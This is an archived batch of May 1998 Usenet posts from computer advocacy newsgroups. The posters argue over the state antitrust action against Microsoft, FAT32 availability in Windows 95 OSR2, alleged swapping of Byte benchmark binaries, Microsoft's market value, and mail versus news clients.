References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in9be$jdd$1@inconnu.isu.edu> <6iooms$clv$1@ligarius.ultra.net> <joe.ragosta-0605980812110001@wil124.dol.net> <6iq0ur$kkh$1@strato.ultra.net>
In article <6iq0ur$kkh$1@strato.ultra.net>, "John Saunders"
<jws@jws.ultranet.com> wrote:
> Joe Ragosta wrote in message ...
> >
> >But have you ever wondered why only OEMs can get OSR 2.1 which supports
> >FAT-32? Perhaps an "encouragement" to get you to ugrade your hardware?
> >
>
> Perhaps. But I think it's more likely because the new hardware the OEMs were
> shipping had larger disks which required the features of FAT32. Also, the
> OEMs are shipping a set of hardware the OEMs will have to test anyway.
> Consumers have a much larger set of hardware that MS would have to test. I
> suspect that would have made a "Windows 95 SP1" too expensive for Microsoft.
Hmmm. I know quite a few people who bought bare 5 GB drives. That's not
big enough to need FAT-32?
As for consumers having a larger set of hardware, that's tough. MS
released an OS for that hardware. If they're not interested in supporting
their customers, they should come out and say it--not hide behind
statements like your.
BTW, there _was_ an SP1 for Win95. It would really be SP2.
>
> >> If "DOJ and the State Extortionists General have their way" is true, then
> >
> >Actually, it's the industry which is extorting from you. You want FAT-32?
> >You've got to buy new hardware--even though the current Win95 OEM release
> >supports it. There's really not that much other difference between Win98
> >and Win95 OSR2.1.
> >
>
> If true, that makes two extortionists, and that doesn't make it right.
Nope. It's not. But since the DOJ aren't extorting anything from anyone,
there's just one set of extortionists--MS and their mouthpieces.
>
> >>
> >> Windows 98 will be tied up in the courts for a year or two, thus
> >>
> >> Companies other than Microsoft will be hurt
> >>
> >> Did I skip any steps?
> >
> >Yes. The Attorney Generals have reason to believe that MS broke the law.
> >They are doing their jobs.
> >
>
>
> Why have I never before heard of:
>
> 1) States bringing anti-trust cases. Isn't that usually something the
> Federal Government does?
Nope. It's not as common perhaps, but it happens quite often.
> 2) States ganging up to extort money.
I don't see any states extorting money. They're trying to stop what they
believe are illegal practices. That's quite different than extorting
money.
>
> I admit I'll be more pleased if the states do not pull a "Tobacco
> Settlement" sort of thing, and instead go for a simple (hah!) anti-trust
> case and bring it to court. That would suggest they think they're "just
> doing their jobs". Instead, I remain convinced that, in the light of their
> experience with the Tobacco Settlement, they're going to go for the money
> and simply _threaten_ Microsoft with a years-long court battle if they don't
> pay up. That's not "just doing their jobs", that's doing the job of
> organized crime.
But what are the states asking for? I don't see any evidence that they're
asking for money. They want illegal practices to stop. That's quite
different.
BTW, your tobacco industry example negates your statement #2 above (that
you've never heard of states ganging up to extort money).
> >> If we allow the states to arbitrarily harrass any company they want to,
> then
> >> pretty soon they'll be harrassing you.
> >
> >Except that the states aren't "arbitrarily harrassing any company they
>
> >want to". They have reason to believe the law is being broken.
>
>
> Then let them bring it to trial.
Absolutely. That's what I want to see happen.
>
> But Joe, it doesn't take 13 states to bring a case to trial. Which state
> will hold this trial, Joe? The answer is "none" because they have no
> interest in a trial, only in the threat of a trial.
Huh? Each state would be responsible for charging and trying Microsoft in
their own state.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Wed, 06 May 1998 13:19:48 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Message-ID: <joe.ragosta-0605981319480001@wil103.dol.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in626$6cm$1@new-news.cc.brandeis.edu> <6iomt3$bac$2@ligarius.ultra.net> <joe.ragosta-0605980807060001@wil124.dol.net> <6ipuo9$606$3@strato.ultra.net>
In article <6ipuo9$606$3@strato.ultra.net>, "John Saunders"
<jws@jws.ultranet.com> wrote:
> Joe Ragosta wrote in message ...
> >In article <6iomt3$bac$2@ligarius.ultra.net>, "John Saunders"
> ><jws@jws.ultranet.com> wrote:
> >> So when it comes to a situation where someone claims they've looked at
> all
> >> the potential problems, but they're still going to do so and such a thing
> >> for "my own good", I'm more than just skeptical. I react like someone who
> >> knows they're being lied to. Which is often the case.
> >
> >But I don't see anyone claiming to do this for your own good. The claim is
> >that they're enforcing the laws. The consequences are not their concern.
> >Nor should they be.
> >
>
> In my state (Massachusetts), the Attourney General is elected. He doesn't
> get re-elected by proudly stating his record of enforcing obscure anti-trust
> laws no one has ever heard of ("what's a trust?"). He will be re-elected by
> standing up and stating that he has stood up for our rights as consumers to
> a free choice. In other words, "for our own good".
Too simplistic. Look at the cops and attorneys who make the jump into
politics. More often than not, they get there because of a position that
they're tough on crime. They're not arguing that anyone is dramatically
better off (what are the statistical odds that you're going to be murdered
this year?). They're making a philosophical point that they're tough on
crime and are putting bad guys behind bars.
This situation is no exception. You made a statement that the AGs were
doing something for your own good, but haven't provided any evidence of
it.
>
> >In our system, the lawmakers write the laws. THEY are responsible for
> >writing good laws.
>
>
> And what happens when the laws are bad ones? Or have unpleasant
> side-effects? Nothing, usually. We don't elect people to fix unpleasant
> side-effects, so the rarely get fixed.
That's true--some times.
>
> >
> >The executive branch is supposed to _enforce_ the laws without worrying
> >about whether they're good laws or not. In fact, the Executive branch is
> >specifically NOT supposed to selectively enforce the laws. It should be
> >even handed regardless of how big or wealthy the defendant is.
>
> I don't know of any recent cases of selective enforcement due to the
> popularity of the defendent. My concern is selective enforcement due to the
> increased chance of reelection and due to the amount of money that can be
> extorted from the defendant.
And you haven't provided any evidence that this is happening.
>
>
>
> >It's not a perfect system, but it has worked for a long, long time.
> >
>
>
> Joe, my concern is that this business of the states ganging up to extort
> money is new. It has not been tested for long. We have no reason to believe
> it will work.
Nonsense. The system has withstood the test of time. Sure, it can be
improved. But our system has faced much tougher problems than this one.
BTW, you _still_ haven't provided any evidence that the AGs are trying to
extort money from MS. You keep setting up this straw man argument without
proof, then basing your entire defense on the idea that the states are
extorting money. Since the states have claimed that they're trying to
enforce the law, you have the burden of proof to provide some evidence
otherwise.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: Michael Peck <MJPECK@CONVEX.COM>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 06 May 1998 14:48:42 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <3550BE9A.35ED@CONVEX.COM>
References: <6ipuoa$606$4@strato.ultra.net> <6ipvus$s9i@shelob.afs.com> <35508936.514A@CONVEX.COM> <35509256.0@news.depaul.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Jonathan W Hendry wrote:
> IMHO, the harm is due to the apparent fact that the USB support
> can't be supplied separately from the OS. (Actually, I think
> IrDA support *was* downloadable.)
>
> If vendors could supply the USB drivers, there'd be no problem
> at all. I suppose Microsoft will say it's 'integrated' and
> 'impossible to separate'.
I don't understand. Who's tying the hands of USB port vendors, for
crying out loud? I'll tell you what: supporting a non-Microsoft solution
would be a nightmare.
MJP
From: geordie@chapman.com (Geordie Korper)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: Wed, 06 May 1998 14:38:13 -0500
Organization: Chapman and Cutler
Message-ID: <geordie-0605981438130001@130.130.117.53>
References: <6icrin$6ra@newsb.netnews.att.com> <354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com> <6imlnj$nkm$2@ns3.vrx.net> <6injcb$bk4$1@crib.bevc.blacksburg.va.us> <6in6mv$3of$4@ns3.vrx.net> <geordie-0505981708370001@130.130.117.53> <35508C01.102F@CONVEX.COM>
Mail-Copies-To: never
r9;SSdvI;]1VVf
In article <35508C01.102F@CONVEX.COM>, Michael Peck <MJPECK@CONVEX.COM> wrote:
:My mailbox is subject to the assaults of five different high-volume
:mailing lists. It looks a lot more like the right-hand column than the
:left-hand column.
I have similar problems with mailing lists which is why I prefer moderated
newsgroups or digest mailing lists that send out all the messages as one
large message a day. Since I need to take action on some incoming messages
within seconds of receiving them I have to check every incoming message
notification that is not handled by a filter. Because of this I will
probably have to stop receiving rhapsody-talk since it interrupts my
workflow too much. All that proves to me is that mailing lists are a poor
attempt at reinventing news groups using an inappropriate medium, not that
mail and newsreading are similar activities.
--
Geordie Korper geordie@chapman.com
*********************************************************************
* The text above should in no way be construed to represent the *
* opinions of my employer, even if specifically stated to do so. *
*********************************************************************
From: roger@. (Roger )
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 06 May 1998 20:12:50 GMT
Organization: gte.net
Message-ID: <6iqg81$qdn$1@gte2.gte.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net><6imcmk$oj1$3@ligarius.ultra.net><01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM><6ioone$clv$5@ligarius.ultra.net><slrn6l0942.114.ghickenNOSPAM@ghicken.smart.net><6ippm0$4lb$1@news0-alterdial.uu.net> <slrn6l0fc5.1ke.ghickenNOSPAM@ghicken.smart.net> <6iq2sd$b9r$1@news0-alterdial.uu.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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On Wed, 6 May 1998 11:25:39 -0500, someone claiming to be M. Kilgore
wrote:
>:If I bought a copy of Windows98 (if/when it becomes available,) wouldn't I
>:run into that problem? Or are we never to see "Windows98 Upgrade" on the
>:store shelves?
No, you wouldn't. Because there has now been time and MS has spent
the money to do additional testing. Part of why it's going to cost ~
$100 for the upgrade.
>Maybe. But the hard drive capacities have changed so much since the first
>release of OSR2 that maybe MS figures that everyone is either upgrading an
>existing fat32 system because of new machine sales or that everyone has
>already upgraded to FAT32 via other means.I haven't heard of MS prosecuting
>anyone for installing fat32 over an otherwise legal copy of win95.
Because it can't be done. A non-OSR2 kernel cannot recognize a FAT32
partition. And if you have the kernel and the FAT32 compatible FDISK
(to create the partition in the first place,) you probably have the
whole thing. If you used something like Partition Magic to create /
convert the partition, it won't boot for the above reason.
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Byte deletes binaries and puts up apple tweaked binary???
Date: 6 May 1998 20:27:52 GMT
Message-ID: <6iqh48$p4t$2@newsfep1.sprintmail.com>
References: <6iovd2$f0c$2@newsfep3.sprintmail.com> <djboccip-0605981313420001@qburst.msfc.nasa.gov>
Mime-Version: 1.0
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Cc: djboccip@hiwaay.net
In <djboccip-0605981313420001@qburst.msfc.nasa.gov> Dr. Dennis J. Boccippio
wrote:
> In article <6iovd2$f0c$2@newsfep3.sprintmail.com>, macghod@concentric.net
wrote:
> Anyway, I don't see any claims on Byte's site that the Mac binaries
> are (or, in the time frame of the Snail Ad, were) compiled with
CodeWarrior.
I never said they were. I said the binaries on bytes web page WERE of
codewarrior and something else. I checked a couple of weeks ago, and their
were TWO binaries, one was codewarrior and one was something else. Eric
bennet can confirm this, he downloaded both of them and ran them, one scored
about a 5.5 on a g3 266, the other scored about a 6.5.
I never said the snail ads used these, if they did, apple couldnt claim twice
as fast. THey used a tweaked moto 3 compiler, again, eric bennet was sent a
binary that was supposedly used.
> Finally, as pointed out in my previous post, DR/3 does _not_ contain
> Apple's MrC binaries; if anything, it's likely mcc. The DR/3 binary
> trounces optimized MrC on most of the subtests. Rather, MrC runs pretty
> close to CodeWarrior. So if something "fishy" (if you can call use of
> mcc "fishy") is going on at Byte, you can't lay it at Apple's door,
> with their supposedly "tweaked" MrC (which simple tests, for those
> who would bother to do them, reveal is not particularly tweaked; again,
see
> previous post).
Up to a couple of weeks ago, their were 2 binaries under powerpc, one was
labeled codewarrior, I forget what the other was. Neither gave a score
anywhere near what apple got. Apple used moto 3.0. NOW!! BOth of these
binaries are gone, and a moto 3 binary is in its place, surprisingly enough
it NOW uses the compiler that apple tweaked to get the 9 score. Preety
amaging how one week their are two binaries that each give about a 6 (about
5.5 and 6.5), and then they are both gone, replaced by a binary using the
same compiler apple used to get a 9.
Also the byte faq says they have used same compilers that were used two years
ago, DESPITE manufacturers attempts to change. Has moto 3.0 dr been out for
2 years?
> All it takes to recreate this for yourself is an old CodeWarrior 10/11 CD,
> and Apple's free MrC plugin compiler. (The plugin fails under CW Pro).
Their is no need to do this. Eric bennet already tested the two binaries
THAT WERE!! on bytes web page, they gave scores of 5.5 and 6.5
--
Running on Openstep 4.2, the best os in the world, and about to get better!
NeXTMail and MIME OK!
Date: Wed, 06 May 1998 16:44:42 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.ms-windows.advocacy
Subject: Re: Byte deletes binaries and puts up apple tweaked binary???
Message-ID: <joe.ragosta-0605981644420001@wil107.dol.net>
References: <6iovd2$f0c$2@newsfep3.sprintmail.com> <djboccip-0605981023060001@tnt3-132.hiwaay.net> <6iqgj0$p4t$1@newsfep1.sprintmail.com>
In article <6iqgj0$p4t$1@newsfep1.sprintmail.com>, macghod@concentric.net wrote:
> In <djboccip-0605981023060001@tnt3-132.hiwaay.net> Dr. Dennis J. Boccippio
> wrote:
> > Evidence for tweaking?
>
> 1) APple already admitted on their web page that the results of the twice as
> fast tests were done by apple engineers in Apples lab. Since the binaries AT
> THAT TIME on bytes web page gave results that were almost half as slow as
> what apple got, I think this is a good inference. If it were intel and not
> APple, I am sure you would conclude the same thing
Nonsense. The data that Apple published in their ad was identical to the
data that Byte published in Byte Magazine. Are you arguing that Byte used
Apple's fudged data in their own magazine? Especially when Byte says in
their magazine that the testing was done in their lab?
Furthermore, you haven't provided any evidence of foul play--just that
Apple's compiler is a very good one.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: djboccip@hiwaay.net (Dr. Dennis J. Boccippio)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Byte deletes binaries and puts up apple tweaked binary???
Date: Wed, 06 May 1998 15:46:37 -0500
Organization: NASA/MSFC HR-20
Message-ID: <djboccip-0605981546370001@qburst.msfc.nasa.gov>
References: <6iovd2$f0c$2@newsfep3.sprintmail.com> <djboccip-0605981313420001@qburst.msfc.nasa.gov> <6iqh48$p4t$2@newsfep1.sprintmail.com>
In article <6iqh48$p4t$2@newsfep1.sprintmail.com>, macghod@concentric.net wrote:
> In <djboccip-0605981313420001@qburst.msfc.nasa.gov> Dr. Dennis J. Boccippio
> wrote:
> > In article <6iovd2$f0c$2@newsfep3.sprintmail.com>, macghod@concentric.net
> wrote:
> > Anyway, I don't see any claims on Byte's site that the Mac binaries
> > are (or, in the time frame of the Snail Ad, were) compiled with
> CodeWarrior.
>
> I never said they were. I said the binaries on bytes web page WERE of
> codewarrior and something else. I checked a couple of weeks ago, and their
> were TWO binaries, one was codewarrior and one was something else. Eric
> bennet can confirm this, he downloaded both of them and ran them, one scored
> about a 5.5 on a g3 266, the other scored about a 6.5.
>
> I never said the snail ads used these, if they did, apple couldnt claim twice
> as fast. THey used a tweaked moto 3 compiler, again, eric bennet was sent a
> binary that was supposedly used.
>
Ah - my apologies, I assumed (given no other context) from your original
post that "Apple's tweaked compiler" meant MrC (there is a parallel
thread raging about why MrC is supposedly awful because of bogus Bitfield).
>
> > Finally, as pointed out in my previous post, DR/3 does _not_ contain
> > Apple's MrC binaries; if anything, it's likely mcc. The DR/3 binary
> > trounces optimized MrC on most of the subtests. Rather, MrC runs pretty
> > close to CodeWarrior. So if something "fishy" (if you can call use of
> > mcc "fishy") is going on at Byte, you can't lay it at Apple's door,
> > with their supposedly "tweaked" MrC (which simple tests, for those
> > who would bother to do them, reveal is not particularly tweaked; again,
> see
> > previous post).
>
> Up to a couple of weeks ago, their were 2 binaries under powerpc, one was
> labeled codewarrior, I forget what the other was. Neither gave a score
> anywhere near what apple got. Apple used moto 3.0. NOW!! BOth of these
> binaries are gone, and a moto 3 binary is in its place, surprisingly enough
> it NOW uses the compiler that apple tweaked to get the 9 score. Preety
> amaging how one week their are two binaries that each give about a 6 (about
> 5.5 and 6.5), and then they are both gone, replaced by a binary using the
> same compiler apple used to get a 9.
>
> Also the byte faq says they have used same compilers that were used two years
> ago, DESPITE manufacturers attempts to change. Has moto 3.0 dr been out for
> 2 years?
>
Well, again, the DR/3 folder creation date was 1996. Of course, now that
I look, the binary creation date is 6 April 1998. I'll have to agree,
fairly unusual, and not in keeping with their claim of "stable binaries,
with updates later this year". But it takes more than that to invoke
"fishiness" to me :-) Nobody has as yet adequately pointed out what
possible agenda they might have to be "fishy". It can't be to drum up
controversy over how a 300 MHz PPC beats a 400 MHz PII (or 266/300,
either), because you _dont need a "tweaked compiler"_ to show this, as
you have noted and I have extensively documented.
>
> > All it takes to recreate this for yourself is an old CodeWarrior 10/11 CD,
> > and Apple's free MrC plugin compiler. (The plugin fails under CW Pro).
>
> Their is no need to do this. Eric bennet already tested the two binaries
> THAT WERE!! on bytes web page, they gave scores of 5.5 and 6.5
>
There is every need to do this. I don't trust Byte (or any other single
compiler result) any more than anyone else does, or should.
I trust my own compilation of source code, optimization,
and understanding of the differences between the runs and the error
bars in the (and between the) results. Anyone who thinks the Motorola
compiler (or any tweaks of it) have any relation to shipping Mac app
performance is probably deluded - though I can't say for sure, not being
a commercial developer.
Rage on if you like about whatever Byte has on their web page; the source
code is out there and anyone who wants to think reasonably about the
numbers should use real-world compilers like CW and MrC, and understand
the difference between Watcom and VisC++. I think I did that in an
earlier post, and found G3/300 and PII/400 either comparable or skewed
in G3/300's favor, on this benchmark suite, ignoring MrC or mcc Bitfield.
To me, these are the only numbers worth a damn on this test, and even
giving the PII/400 every break, it still loses, albeit marginally.
DJB
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.ms-windows.advocacy
Subject: Re: Byte deletes binaries and puts up apple tweaked binary???
Date: 6 May 1998 21:44:11 GMT
Message-ID: <6iqljb$m1$1@newsfep1.sprintmail.com>
References: <6iovd2$f0c$2@newsfep3.sprintmail.com> <djboccip-0605981023060001@tnt3-132.hiwaay.net>
<6iqgj0$p4t$1@newsfep1.sprintmail.com> <joe.ragosta-0605981644420001@wil107.dol.net>
Mime-Version: 1.0
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Cc: joe.ragosta@dol.net
> Furthermore, you haven't provided any evidence of foul play--just that
> Apple's compiler is a very good one.
It isnt Apple's compiler. Its motorolas compiler, and they have stopped
working on it. And I have shown the following:
Up till a couple of weeks ago (according to the good Dr, the change was
probably april 6th 1998)
their were two binaries on bytes web site, on gave the g3 266 a score of 5.5,
the other gave it a score of 6.5 (see eric bennets web page to confirm the
scores) , Apple, in their own lab, tweaked a score of 9.1 (APple admitted
this on their web page, others have confirmed they saw this as well).
Now, both of the binaries are gone, and replaced with a binary that happens
to get the same score as apple got. If this were intel instead of Apple, we
know exactly what you would be saying Joe.
Lets say, hypothetically:
byte has 2 binaries on its web page for a p2, each get about 6 for a p2 300.
Intel, gets a score of 9 for the p2 300. ON their web page, they admit the
test was done in their own lab by their own engineers. People start
complaining how no one can get a score of 9 on a p2 300, everyone gets a 6.
Soon afterward, the 2 p2 binaries are removed, and a binary is put in its
place that scores a 9 on a p2 300. What do people think Joe would be
saying????
--
Running on Openstep 4.2, the best os in the world, and about to get better!
NeXTMail and MIME OK!
Date: Thu, 07 May 1998 08:08:27 -0500
From: djboccip@hiwaay.net (Dennis J. Boccippio)
Subject: Re: Byte deletes binaries and puts up apple tweaked binary???
Message-ID: <djboccip-0705980808270001@tnt2-206.hiwaay.net>
References: <6iovd2$f0c$2@newsfep3.sprintmail.com> <djboccip-0605981313420001@qburst.msfc.nasa.gov> <6iqh48$p4t$2@newsfep1.sprintmail.com> <djboccip-0605981546370001@qburst.msfc.nasa.gov> <see-below-0705980247200001@209.24.240.68>
Organization: NASA/MSFC HR-20
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
In article <see-below-0705980247200001@209.24.240.68>,
see-below@not-my-address.com (Matthew Vaughan) wrote:
> In article <djboccip-0605981546370001@qburst.msfc.nasa.gov>,
> djboccip@hiwaay.net (Dr. Dennis J. Boccippio) wrote:
>
> > Anyone who thinks the Motorola
> > compiler (or any tweaks of it) have any relation to shipping Mac app
> > performance is probably deluded - though I can't say for sure, not being
> > a commercial developer.
>
> True. Anyone who thinks _any_ compiler scores have a relationship to
> shipping products is probalby deluded, since so many of developers utilize
> various kinds of optimizations you wouldn't get straight out of a compiler
> on the first pass.
>
> ....................................................
Right, but do they do them differently on different platforms?
The point was that if you're going to to even attempt to use
non-app benchmarks like Bytemark to do x-platform comparisons,
its more reasonable to look at typical compilers like MW/MrC and VisC++.
Then they will at least be some (perhaps poor) metric of eventual
app performance across platforms...
DJB
--
_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
_/ Dr. Dennis J. Boccippio _/
_/ Global Hydrology and Climate Center, NASA / MSFC HR-20 _/
_/ Marshall Space Flight Center, AL 35812 _/
_/ Work (205)-922-5909 Fax (205)-922-5723 _/
_/ mailto:Dennis.Boccippio@msfc.nasa.gov _/
_/ http://fly.hiwaay.net/~djboccip/intro.html _/
_/ DSS/Diffie-Hellman PGP Public Key at: pgpkeys.mit.edu _/
_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 6 May 1998 22:11:07 GMT
Organization: MiscKit Development
Message-ID: <6iqn5r$r7s$1@news.xmission.com>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6iomt2$bac$1@ligarius.ultra.net> <jinx6568-0605980316060001@usr2a35.bratt.sover.net> <355d5b06.148323868@news.nai.net> <6iqe3d$q5e$1@vixen.cso.uiuc.edu>
tsmurphy@cs.uiuc.edu (TERENCE MURPHY) wrote:
> In article <355d5b06.148323868@news.nai.net>,
> Perry.Fecteau@Republican.COM <perfecto@ct2.nai.net> wrote:
> >that may not have anything to do with anything but microsoft is but a
> >spec of dust on the nuts of companies like GE, exxon, ibm, phillip
> >morris, at&t, etc..
>
> At over $200,000,000,000 Microsoft has the second biggest market
> value (only behind GE) of any company in the world.
Oh sure, but market cap isn't necessarily a very meaningful indicator in this
context. If you look at the difference between cash flows of, say, Microsoft
and Phillip Morris, you quickly realize that MO is the larger company and
that MSFT's market cap is so overvalued that it is either laughably
ridiculous or a frighteningly sad indicator of lemming mentality. To quote
my father:
"...the marketplace values Microsoft at twice what it values
Philip Morris, yet Philip Morris generates more operating
cash flow than Microsoft's _revenues_. [...]
Such disparities remind me of other "Nifty 50" time periods,
which eventually came to dramatic ends with substantial
declines in stock prices."
--Donald A. Yacktman, Yacktman Funds 1Q 1998 report
http://www.yacktman.com/Sub/Report.1998.03.31/msg.html
Look out, lemmings! It can't last forever...
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: tsmurphy@cs.uiuc.edu (TERENCE MURPHY)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 6 May 1998 22:30:40 GMT
Organization: University of Illinois at Urbana-Champaign
Message-ID: <6iqoag$9jf$1@vixen.cso.uiuc.edu>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <355d5b06.148323868@news.nai.net> <6iqe3d$q5e$1@vixen.cso.uiuc.edu> <6iqn5r$r7s$1@news.xmission.com>
In article <6iqn5r$r7s$1@news.xmission.com>,
Don Yacktman <don@misckit.com> wrote:
>tsmurphy@cs.uiuc.edu (TERENCE MURPHY) wrote:
>> In article <355d5b06.148323868@news.nai.net>,
>> Perry.Fecteau@Republican.COM <perfecto@ct2.nai.net> wrote:
>> >that may not have anything to do with anything but microsoft is but a
>> >spec of dust on the nuts of companies like GE, exxon, ibm, phillip
>> >morris, at&t, etc..
>>
>> At over $200,000,000,000 Microsoft has the second biggest market
>> value (only behind GE) of any company in the world.
>
>Oh sure, but market cap isn't necessarily a very meaningful indicator in this
>context. If you look at the difference between cash flows of, say, Microsoft
>and Phillip Morris, you quickly realize that MO is the larger company and
>that MSFT's market cap is so overvalued that it is either laughably
>ridiculous or a frighteningly sad indicator of lemming mentality.
MSFT's P/E is only about 3.5x that of MO. And if you consider the
future outlook of MO (increasing tobacco legislation, decreasing
attraction of of smoking, etc.) vs. that of Microsoft (especially with
regards to their Internet presence), it is not _that_ ridiculous.
Look at Internet companies like YHOO, LCOS, SEEK, AMZN, KTEL (!!!),
CDNW: Almost all of these have yet to turn a quarterly profit yet
their prices are out of the sky; those that do have huge P/E ratios.
Yet Microsoft, which is almost inarguably _the_ Internet stock, is
reasonable comparatively.
Though, of course, I do agree that it is a foolish buy at this time,
especially compared to what else is out there.
Cheers,
Terry Murphy
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 7 May 1998 08:35:10 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6irrnu$r1i$1@ns3.vrx.net>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net>
<6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM>
<6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM>
<6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net>
<6ijusb$kos$2@ns3.vrx.net> <6il1qa$em7$1@cronkite.cygnus.com>
<354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com>
<6imlnj$nkm$2@ns3.vrx.net> <6injcb$bk4$1@crib.bevc.blacksburg.va.us>
<6in6mv$3of$4@ns3.vrx.net> <6inu0b$cet$1@crib.bevc.blacksburg.va.us>
<6infcq$c0h$6@ns3.vrx.net> <1d8kucf.12204btjdfhlmN@roxboro0-036.dyn.interpath.net>
<6ip7tl$oum$7@ns3.vrx.net> <1d8lw3a.1br6d9716oa6kgN@roxboro0-062.dyn.interpath.net>
<6iqsmp$h86$1@cronkite.cygnus.com>
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Cc: jrudd@cygnus.com
In <6iqsmp$h86$1@cronkite.cygnus.com> John Rudd claimed:
> With a mail message to a list, you know for a fact that there is a finite
set
> of people who will recieve the initial message. It is not necessarily
> deterministicly finite (ie. addresses can themselves be lists or aliases
for
> multiple users)... but as long as none of the recipients is a news gateway,
> you know that the number of recipients is a specific finite set.
>
> You have no such knowlege at all about news. News can be read by any
person
> at any point in time (assuming ubiquitous access to Usenet, and infinite
> lifetime of posts).
I think the thread has now outsmarted itself. Again I can see abolsolutely
no reason why this suggests the editors should be different.
> This difference makes for very different conceptual types of conversation.
> Mail is to a closed discussion, and news is a soap box to anyone who wants
to
> listen (or speak).
Balogna. Mail lists are a system for "small distributed newsgroups", a
system that is starting to pass over to dedicated nntp servers. For instance
Borland used to have mail lists, but killed them and now runs a server.
Moreover NNTP is fullay capable of handling both "closed groups" via
authenticated (password login) systems, and small scale distribution. Again
the fact that it's not commonly found being used this way is likely a side
effect of less-than-capable readers and not due to some fundamental
difference in the mechanisms.
> Similarly, I do not want my mail viewed as a sub-set of News.
Sigh. Obviously my point is NOT getting across.
Maury
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: Thu, 07 May 1998 13:34:37 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <3551B86D.998C4455@nstar.net>
References: <6icrin$6ra@newsb.netnews.att.com> <354F65A5.42BB@CONVEX.COM> <6inuvv$chg$1@crib.bevc.blacksburg.va.us> <35506FF8.E8C2FE65@nstar.net> <6iqnu2$eqt$1@crib.bevc.blacksburg.va.us>
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Nathan Urban wrote:
> > > That doesn't sound like a disagreement with what I said.
>
> > Wow, that's a keeper.
>
> Perhaps you're just inept at communicating.
>
> I said: "I'm certainly not going to switch to a bundle solution just
> for the sake of having a bundle solution."
>
> Now, if someone disagreed with that statement, that would mean that they
> _would_ be willing to switch to a bundle solution, purely for the sake
> of having a bundle solution.
Permit me to quote differently, i.e. the whole paragraph rather than a
selective chunk:
Nathan Urban said:
> > Meanwhile, while you're holding your breath and whining, I will continue
> > to use separate apps for mail, news, and web browsing -- for while
> > it's a nice ideal to have a Grand Unified Application, practically
> > speaking it doesn't buy me much to have a combined mail/news/WWW reader.
> > The solutions I have meet all of my requirements. If someone eventually
> > comes out with a _good_ solution I may eventually use it, but it would
> > have to be much better to make it worth switching. I'm certainly not
> > going to switch to a bundle solution just for the sake of having a
> > bundle solution.
Michael Peck replied:
> A lot of people would disagree, with a twist: they currently believe
